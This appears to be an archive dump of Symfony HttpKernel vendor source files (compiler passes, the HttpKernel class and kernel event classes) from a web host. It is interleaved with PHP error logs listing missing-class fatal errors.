/home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/FragmentRendererPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/FragmentRendererPass.php on line 26 [26-Nov-2025 01:37:46 UTC] PHP Fatal error: Trait "Symfony\Component\DependencyInjection\Compiler\PriorityTaggedServiceTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ControllerArgumentValueResolverPass.php on line 29 [26-Nov-2025 01:54:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ResettableServicePass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ResettableServicePass.php on line 24 [26-Nov-2025 01:54:46 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php on line 35 [26-Nov-2025 02:04:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php on line 25 [26-Nov-2025 03:32:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ServicesResetter.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ServicesResetter.php on line 26 [26-Nov-2025 03:43:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php on line 24 [26-Nov-2025 03:43:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php on line 22 http-kernel/DependencyInjection/LoggerPass.php000064400000002273151113511660015505 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Psr\Log\LoggerInterface; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpKernel\Log\Logger; /** * Registers the default logger if necessary. * * @author Kévin Dunglas */ class LoggerPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { $container->setAlias(LoggerInterface::class, 'logger') ->setPublic(false); if ($container->has('logger')) { return; } $container->register('logger', Logger::class) ->setArguments([null, null, null, new Reference(RequestStack::class)]) ->setPublic(false); } } http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php000064400000002277151113511660021756 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\MergeExtensionConfigurationPass as BaseMergeExtensionConfigurationPass; use Symfony\Component\DependencyInjection\ContainerBuilder; /** * Ensures certain extensions are always loaded. * * @author Kris Wallsmith */ class MergeExtensionConfigurationPass extends BaseMergeExtensionConfigurationPass { private array $extensions; /** * @param string[] $extensions */ public function __construct(array $extensions) { $this->extensions = $extensions; } /** * @return void */ public function process(ContainerBuilder $container) { foreach ($this->extensions as $extension) { if (!\count($container->getExtensionConfig($extension))) { $container->loadFromExtension($extension, []); } } parent::process($container); } } http-kernel/DependencyInjection/Extension.php000064400000002103151113511670015404 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Extension\Extension as BaseExtension; /** * Allow adding classes to the class cache. * * @author Fabien Potencier */ abstract class Extension extends BaseExtension { private array $annotatedClasses = []; /** * Gets the annotated classes to cache. */ public function getAnnotatedClassesToCompile(): array { return $this->annotatedClasses; } /** * Adds annotated classes to the class cache. * * @param array $annotatedClasses An array of class patterns * * @return void */ public function addAnnotatedClassesToCompile(array $annotatedClasses) { $this->annotatedClasses = array_merge($this->annotatedClasses, $annotatedClasses); } } http-kernel/DependencyInjection/ControllerArgumentValueResolverPass.php000064400000006030151113511670022627 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Argument\IteratorArgument; use Symfony\Component\DependencyInjection\Argument\ServiceLocatorArgument; use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\PriorityTaggedServiceTrait; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\TraceableValueResolver; use Symfony\Component\Stopwatch\Stopwatch; /** * Gathers and configures the argument value resolvers. * * @author Iltar van der Berg */ class ControllerArgumentValueResolverPass implements CompilerPassInterface { use PriorityTaggedServiceTrait; /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('argument_resolver')) { return; } $definitions = $container->getDefinitions(); $namedResolvers = $this->findAndSortTaggedServices(new TaggedIteratorArgument('controller.targeted_value_resolver', 'name', needsIndexes: true), $container); $resolvers = $this->findAndSortTaggedServices(new TaggedIteratorArgument('controller.argument_value_resolver', 'name', needsIndexes: true), $container); foreach ($resolvers as $name => $resolver) { if ($definitions[(string) $resolver]->hasTag('controller.targeted_value_resolver')) { unset($resolvers[$name]); } else { $namedResolvers[$name] ??= clone $resolver; } } if ($container->getParameter('kernel.debug') && class_exists(Stopwatch::class) && $container->has('debug.stopwatch')) { foreach ($resolvers as $name => $resolver) { $resolvers[$name] = new Reference('.debug.value_resolver.'.$resolver); $container->register('.debug.value_resolver.'.$resolver, TraceableValueResolver::class) ->setArguments([$resolver, new Reference('debug.stopwatch')]); } foreach ($namedResolvers as $name => $resolver) { $namedResolvers[$name] = new Reference('.debug.value_resolver.'.$resolver); $container->register('.debug.value_resolver.'.$resolver, TraceableValueResolver::class) ->setArguments([$resolver, new Reference('debug.stopwatch')]); } } $container ->getDefinition('argument_resolver') ->replaceArgument(1, new IteratorArgument(array_values($resolvers))) ->setArgument(2, new ServiceLocatorArgument($namedResolvers)) ; } } http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php000064400000005124151113511670024017 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; /** * Removes empty service-locators registered for ServiceValueResolver. * * @author Nicolas Grekas */ class RemoveEmptyControllerArgumentLocatorsPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { $controllerLocator = $container->findDefinition('argument_resolver.controller_locator'); $controllers = $controllerLocator->getArgument(0); foreach ($controllers as $controller => $argumentRef) { $argumentLocator = $container->getDefinition((string) $argumentRef->getValues()[0]); if (!$argumentLocator->getArgument(0)) { // remove empty argument locators $reason = sprintf('Removing service-argument resolver for controller "%s": no corresponding services exist for the referenced types.', $controller); } else { // any methods listed for call-at-instantiation cannot be actions $reason = false; [$id, $action] = explode('::', $controller); if ($container->hasAlias($id)) { continue; } $controllerDef = $container->getDefinition($id); foreach ($controllerDef->getMethodCalls() as [$method]) { if (0 === strcasecmp($action, $method)) { $reason = sprintf('Removing method "%s" of service "%s" from controller candidates: the method is called at instantiation, thus cannot be an action.', $action, $id); break; } } if (!$reason) { // see Symfony\Component\HttpKernel\Controller\ContainerControllerResolver $controllers[$id.':'.$action] = $argumentRef; if ('__invoke' === $action) { $controllers[$id] = $argumentRef; } continue; } } unset($controllers[$controller]); $container->log($this, $reason); } $controllerLocator->replaceArgument(0, $controllers); } } http-kernel/HttpKernel.php000064400000026105151113511670011577 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpFoundation\Exception\RequestExceptionInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\StreamedResponse; use Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface; use Symfony\Component\HttpKernel\Controller\ControllerResolverInterface; use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; use Symfony\Component\HttpKernel\Event\ControllerEvent; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\FinishRequestEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Event\TerminateEvent; use Symfony\Component\HttpKernel\Event\ViewEvent; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Symfony\Component\HttpKernel\Exception\ControllerDoesNotReturnResponseException; use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; // Help opcache.preload discover always-needed symbols class_exists(ControllerArgumentsEvent::class); class_exists(ControllerEvent::class); class_exists(ExceptionEvent::class); class_exists(FinishRequestEvent::class); class_exists(RequestEvent::class); class_exists(ResponseEvent::class); class_exists(TerminateEvent::class); class_exists(ViewEvent::class); class_exists(KernelEvents::class); /** * HttpKernel notifies events to convert a Request object to a Response one. * * @author Fabien Potencier */ class HttpKernel implements HttpKernelInterface, TerminableInterface { protected $dispatcher; protected $resolver; protected $requestStack; private ArgumentResolverInterface $argumentResolver; private bool $handleAllThrowables; public function __construct(EventDispatcherInterface $dispatcher, ControllerResolverInterface $resolver, RequestStack $requestStack = null, ArgumentResolverInterface $argumentResolver = null, bool $handleAllThrowables = false) { $this->dispatcher = $dispatcher; $this->resolver = $resolver; $this->requestStack = $requestStack ?? new RequestStack(); $this->argumentResolver = $argumentResolver ?? new ArgumentResolver(); $this->handleAllThrowables = $handleAllThrowables; } public function handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response { $request->headers->set('X-Php-Ob-Level', (string) ob_get_level()); $this->requestStack->push($request); $response = null; try { return $response = $this->handleRaw($request, $type); } catch (\Throwable $e) { if ($e instanceof \Error && !$this->handleAllThrowables) { throw $e; } if ($e instanceof RequestExceptionInterface) { $e = new BadRequestHttpException($e->getMessage(), $e); } if (false === $catch) { $this->finishRequest($request, $type); throw $e; } return $response = $this->handleThrowable($e, $request, $type); } finally { $this->requestStack->pop(); if ($response instanceof StreamedResponse && $callback = $response->getCallback()) { $requestStack = $this->requestStack; $response->setCallback(static function () use ($request, $callback, $requestStack) { $requestStack->push($request); try { $callback(); } finally { $requestStack->pop(); } }); } } } /** * @return void */ public function terminate(Request $request, Response $response) { $this->dispatcher->dispatch(new TerminateEvent($this, $request, $response), KernelEvents::TERMINATE); } /** * @internal */ public function terminateWithException(\Throwable $exception, Request $request = null): void { if (!$request ??= $this->requestStack->getMainRequest()) { throw $exception; } if ($pop = $request !== $this->requestStack->getMainRequest()) { $this->requestStack->push($request); } try { $response = $this->handleThrowable($exception, $request, self::MAIN_REQUEST); } finally { if ($pop) { $this->requestStack->pop(); } } $response->sendHeaders(); $response->sendContent(); $this->terminate($request, $response); } /** * Handles a request to convert it to a response. * * Exceptions are not caught. * * @throws \LogicException If one of the listener does not behave as expected * @throws NotFoundHttpException When controller cannot be found */ private function handleRaw(Request $request, int $type = self::MAIN_REQUEST): Response { // request $event = new RequestEvent($this, $request, $type); $this->dispatcher->dispatch($event, KernelEvents::REQUEST); if ($event->hasResponse()) { return $this->filterResponse($event->getResponse(), $request, $type); } // load controller if (false === $controller = $this->resolver->getController($request)) { throw new NotFoundHttpException(sprintf('Unable to find the controller for path "%s". The route is wrongly configured.', $request->getPathInfo())); } $event = new ControllerEvent($this, $controller, $request, $type); $this->dispatcher->dispatch($event, KernelEvents::CONTROLLER); $controller = $event->getController(); // controller arguments $arguments = $this->argumentResolver->getArguments($request, $controller, $event->getControllerReflector()); $event = new ControllerArgumentsEvent($this, $event, $arguments, $request, $type); $this->dispatcher->dispatch($event, KernelEvents::CONTROLLER_ARGUMENTS); $controller = $event->getController(); $arguments = $event->getArguments(); // call controller $response = $controller(...$arguments); // view if (!$response instanceof Response) { $event = new ViewEvent($this, $request, $type, $response, $event); $this->dispatcher->dispatch($event, KernelEvents::VIEW); if ($event->hasResponse()) { $response = $event->getResponse(); } else { $msg = sprintf('The controller must return a "Symfony\Component\HttpFoundation\Response" object but it returned %s.', $this->varToString($response)); // the user may have forgotten to return something if (null === $response) { $msg .= ' Did you forget to add a return statement somewhere in your controller?'; } throw new ControllerDoesNotReturnResponseException($msg, $controller, __FILE__, __LINE__ - 17); } } return $this->filterResponse($response, $request, $type); } /** * Filters a response object. * * @throws \RuntimeException if the passed object is not a Response instance */ private function filterResponse(Response $response, Request $request, int $type): Response { $event = new ResponseEvent($this, $request, $type, $response); $this->dispatcher->dispatch($event, KernelEvents::RESPONSE); $this->finishRequest($request, $type); return $event->getResponse(); } /** * Publishes the finish request event, then pop the request from the stack. * * Note that the order of the operations is important here, otherwise * operations such as {@link RequestStack::getParentRequest()} can lead to * weird results. */ private function finishRequest(Request $request, int $type): void { $this->dispatcher->dispatch(new FinishRequestEvent($this, $request, $type), KernelEvents::FINISH_REQUEST); } /** * Handles a throwable by trying to convert it to a Response. */ private function handleThrowable(\Throwable $e, Request $request, int $type): Response { $event = new ExceptionEvent($this, $request, $type, $e); $this->dispatcher->dispatch($event, KernelEvents::EXCEPTION); // a listener might have replaced the exception $e = $event->getThrowable(); if (!$event->hasResponse()) { $this->finishRequest($request, $type); throw $e; } $response = $event->getResponse(); // the developer asked for a specific status code if (!$event->isAllowingCustomResponseCode() && !$response->isClientError() && !$response->isServerError() && !$response->isRedirect()) { // ensure that we actually have an error response if ($e instanceof HttpExceptionInterface) { // keep the HTTP status code and headers $response->setStatusCode($e->getStatusCode()); $response->headers->add($e->getHeaders()); } else { $response->setStatusCode(500); } } try { return $this->filterResponse($response, $request, $type); } catch (\Throwable $e) { if ($e instanceof \Error && !$this->handleAllThrowables) { throw $e; } return $response; } } /** * Returns a human-readable string for the specified variable. */ private function varToString(mixed $var): string { if (\is_object($var)) { return sprintf('an object of type %s', $var::class); } if (\is_array($var)) { $a = []; foreach ($var as $k => $v) { $a[] = sprintf('%s => ...', $k); } return sprintf('an array ([%s])', mb_substr(implode(', ', $a), 0, 255)); } if (\is_resource($var)) { return sprintf('a resource (%s)', get_resource_type($var)); } if (null === $var) { return 'null'; } if (false === $var) { return 'a boolean value (false)'; } if (true === $var) { return 'a boolean value (true)'; } if (\is_string($var)) { return sprintf('a string ("%s%s")', mb_substr($var, 0, 255), mb_strlen($var) > 255 ? '...' : ''); } if (is_numeric($var)) { return sprintf('a number (%s)', (string) $var); } return (string) $var; } } http-kernel/RebootableInterface.php000064400000001456151113511670013420 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; /** * Allows the Kernel to be rebooted using a temporary cache directory. * * @author Nicolas Grekas */ interface RebootableInterface { /** * Reboots a kernel. * * The getBuildDir() method of a rebootable kernel should not be called * while building the container. Use the %kernel.build_dir% parameter instead. * * @param string|null $warmupDir pass null to reboot in the regular build directory * * @return void */ public function reboot(?string $warmupDir); } http-kernel/Event/ViewEvent.php000064400000002665151113511670012521 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Allows to create a response for the return value of a controller. * * Call setResponse() to set the response that will be returned for the * current request. The propagation of this event is stopped as soon as a * response is set. * * @author Bernhard Schussek */ final class ViewEvent extends RequestEvent { public readonly ?ControllerArgumentsEvent $controllerArgumentsEvent; private mixed $controllerResult; public function __construct(HttpKernelInterface $kernel, Request $request, int $requestType, mixed $controllerResult, ControllerArgumentsEvent $controllerArgumentsEvent = null) { parent::__construct($kernel, $request, $requestType); $this->controllerResult = $controllerResult; $this->controllerArgumentsEvent = $controllerArgumentsEvent; } public function getControllerResult(): mixed { return $this->controllerResult; } public function setControllerResult(mixed $controllerResult): void { $this->controllerResult = $controllerResult; } } http-kernel/Event/KernelEvent.php000064400000003625151113511670013024 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\HttpKernelInterface; use Symfony\Contracts\EventDispatcher\Event; /** * Base class for events thrown in the HttpKernel component. * * @author Bernhard Schussek */ class KernelEvent extends Event { private HttpKernelInterface $kernel; private Request $request; private ?int $requestType; /** * @param int $requestType The request type the kernel is currently processing; one of * HttpKernelInterface::MAIN_REQUEST or HttpKernelInterface::SUB_REQUEST */ public function __construct(HttpKernelInterface $kernel, Request $request, ?int $requestType) { $this->kernel = $kernel; $this->request = $request; $this->requestType = $requestType; } /** * Returns the kernel in which this event was thrown. */ public function getKernel(): HttpKernelInterface { return $this->kernel; } /** * Returns the request the kernel is currently processing. */ public function getRequest(): Request { return $this->request; } /** * Returns the request type the kernel is currently processing. * * @return int One of HttpKernelInterface::MAIN_REQUEST and * HttpKernelInterface::SUB_REQUEST */ public function getRequestType(): int { return $this->requestType; } /** * Checks if this is the main request. */ public function isMainRequest(): bool { return HttpKernelInterface::MAIN_REQUEST === $this->requestType; } } http-kernel/Event/FinishRequestEvent.php000064400000000705151113511670014371 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; /** * Triggered whenever a request is fully processed. * * @author Benjamin Eberlei */ final class FinishRequestEvent extends KernelEvent { } http-kernel/Event/ControllerArgumentsEvent.php000064400000005773151113511670015623 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Allows filtering of controller arguments. * * You can call getController() to retrieve the controller and getArguments * to retrieve the current arguments. With setArguments() you can replace * arguments that are used to call the controller. * * Arguments set in the event must be compatible with the signature of the * controller. * * @author Christophe Coevoet */ final class ControllerArgumentsEvent extends KernelEvent { private ControllerEvent $controllerEvent; private array $arguments; private array $namedArguments; public function __construct(HttpKernelInterface $kernel, callable|ControllerEvent $controller, array $arguments, Request $request, ?int $requestType) { parent::__construct($kernel, $request, $requestType); if (!$controller instanceof ControllerEvent) { $controller = new ControllerEvent($kernel, $controller, $request, $requestType); } $this->controllerEvent = $controller; $this->arguments = $arguments; } public function getController(): callable { return $this->controllerEvent->getController(); } /** * @param array>|null $attributes */ public function setController(callable $controller, array $attributes = null): void { $this->controllerEvent->setController($controller, $attributes); unset($this->namedArguments); } public function getArguments(): array { return $this->arguments; } public function setArguments(array $arguments): void { $this->arguments = $arguments; unset($this->namedArguments); } public function getNamedArguments(): array { if (isset($this->namedArguments)) { return $this->namedArguments; } $namedArguments = []; $arguments = $this->arguments; foreach ($this->controllerEvent->getControllerReflector()->getParameters() as $i => $param) { if ($param->isVariadic()) { $namedArguments[$param->name] = \array_slice($arguments, $i); break; } if (\array_key_exists($i, $arguments)) { $namedArguments[$param->name] = $arguments[$i]; } elseif ($param->isDefaultvalueAvailable()) { $namedArguments[$param->name] = $param->getDefaultValue(); } } return $this->namedArguments = $namedArguments; } /** * @return array> */ public function getAttributes(): array { return $this->controllerEvent->getAttributes(); } } http-kernel/Event/TerminateEvent.php000064400000002116151113511670013526 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Allows to execute logic after a response was sent. * * Since it's only triggered on main requests, the `getRequestType()` method * will always return the value of `HttpKernelInterface::MAIN_REQUEST`. * * @author Jordi Boggiano */ final class TerminateEvent extends KernelEvent { private Response $response; public function __construct(HttpKernelInterface $kernel, Request $request, Response $response) { parent::__construct($kernel, $request, HttpKernelInterface::MAIN_REQUEST); $this->response = $response; } public function getResponse(): Response { return $this->response; } } http-kernel/Event/ControllerEvent.php000064400000006736151113511670013735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Allows filtering of a controller callable. * * You can call getController() to retrieve the current controller. With * setController() you can set a new controller that is used in the processing * of the request. * * Controllers should be callables. * * @author Bernhard Schussek */ final class ControllerEvent extends KernelEvent { private string|array|object $controller; private \ReflectionFunctionAbstract $controllerReflector; private array $attributes; public function __construct(HttpKernelInterface $kernel, callable $controller, Request $request, ?int $requestType) { parent::__construct($kernel, $request, $requestType); $this->setController($controller); } public function getController(): callable { return $this->controller; } public function getControllerReflector(): \ReflectionFunctionAbstract { return $this->controllerReflector; } /** * @param array>|null $attributes */ public function setController(callable $controller, array $attributes = null): void { if (null !== $attributes) { $this->attributes = $attributes; } if (isset($this->controller) && ($controller instanceof \Closure ? $controller == $this->controller : $controller === $this->controller)) { $this->controller = $controller; return; } if (null === $attributes) { unset($this->attributes); } if (\is_array($controller) && method_exists(...$controller)) { $this->controllerReflector = new \ReflectionMethod(...$controller); } elseif (\is_string($controller) && str_contains($controller, '::')) { $this->controllerReflector = new \ReflectionMethod($controller); } else { $this->controllerReflector = new \ReflectionFunction($controller(...)); } $this->controller = $controller; } /** * @return array> */ public function getAttributes(): array { if (isset($this->attributes)) { return $this->attributes; } if (\is_array($this->controller) && method_exists(...$this->controller)) { $class = new \ReflectionClass($this->controller[0]); } elseif (\is_string($this->controller) && false !== $i = strpos($this->controller, '::')) { $class = new \ReflectionClass(substr($this->controller, 0, $i)); } else { $class = str_contains($this->controllerReflector->name, '{closure}') ? null : (\PHP_VERSION_ID >= 80111 ? $this->controllerReflector->getClosureCalledClass() : $this->controllerReflector->getClosureScopeClass()); } $this->attributes = []; foreach (array_merge($class?->getAttributes() ?? [], $this->controllerReflector->getAttributes()) as $attribute) { if (class_exists($attribute->getName())) { $this->attributes[$attribute->getName()][] = $attribute->newInstance(); } } return $this->attributes; } } http-kernel/Event/ExceptionEvent.php000064400000003576151113511670013547 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Allows to create a response for a thrown exception. * * Call setResponse() to set the response that will be returned for the * current request. The propagation of this event is stopped as soon as a * response is set. * * You can also call setThrowable() to replace the thrown exception. This * exception will be thrown if no response is set during processing of this * event. * * @author Bernhard Schussek */ final class ExceptionEvent extends RequestEvent { private \Throwable $throwable; private bool $allowCustomResponseCode = false; public function __construct(HttpKernelInterface $kernel, Request $request, int $requestType, \Throwable $e) { parent::__construct($kernel, $request, $requestType); $this->setThrowable($e); } public function getThrowable(): \Throwable { return $this->throwable; } /** * Replaces the thrown exception. * * This exception will be thrown if no response is set in the event. */ public function setThrowable(\Throwable $exception): void { $this->throwable = $exception; } /** * Mark the event as allowing a custom response code. */ public function allowCustomResponseCode(): void { $this->allowCustomResponseCode = true; } /** * Returns true if the event allows a custom response code. */ public function isAllowingCustomResponseCode(): bool { return $this->allowCustomResponseCode; } } http-kernel/Event/ResponseEvent.php000064400000002262151113511670013376 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Allows to filter a Response object. * * You can call getResponse() to retrieve the current response. With * setResponse() you can set a new response that will be returned to the * browser. * * @author Bernhard Schussek */ final class ResponseEvent extends KernelEvent { private Response $response; public function __construct(HttpKernelInterface $kernel, Request $request, int $requestType, Response $response) { parent::__construct($kernel, $request, $requestType); $this->setResponse($response); } public function getResponse(): Response { return $this->response; } public function setResponse(Response $response): void { $this->response = $response; } } http-kernel/Event/error_log000064400000015044151113511670012004 0ustar00[25-Nov-2025 02:30:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\RequestEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ViewEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ViewEvent.php on line 26 [25-Nov-2025 03:30:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerEvent.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerEvent.php on line 28 [25-Nov-2025 04:29:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\RequestEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ExceptionEvent.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ExceptionEvent.php on line 30 [25-Nov-2025 04:31:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/FinishRequestEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/FinishRequestEvent.php on line 19 [25-Nov-2025 04:31:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerArgumentsEvent.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerArgumentsEvent.php on line 29 [25-Nov-2025 05:25:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/TerminateEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/TerminateEvent.php on line 26 [25-Nov-2025 05:30:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/RequestEvent.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/RequestEvent.php on line 25 [25-Nov-2025 05:31:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/KernelEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/KernelEvent.php on line 23 [25-Nov-2025 05:31:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ResponseEvent.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ResponseEvent.php on line 27 [25-Nov-2025 23:07:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerEvent.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerEvent.php on line 28 [26-Nov-2025 01:21:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\RequestEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ExceptionEvent.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ExceptionEvent.php on line 30 [26-Nov-2025 01:31:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in 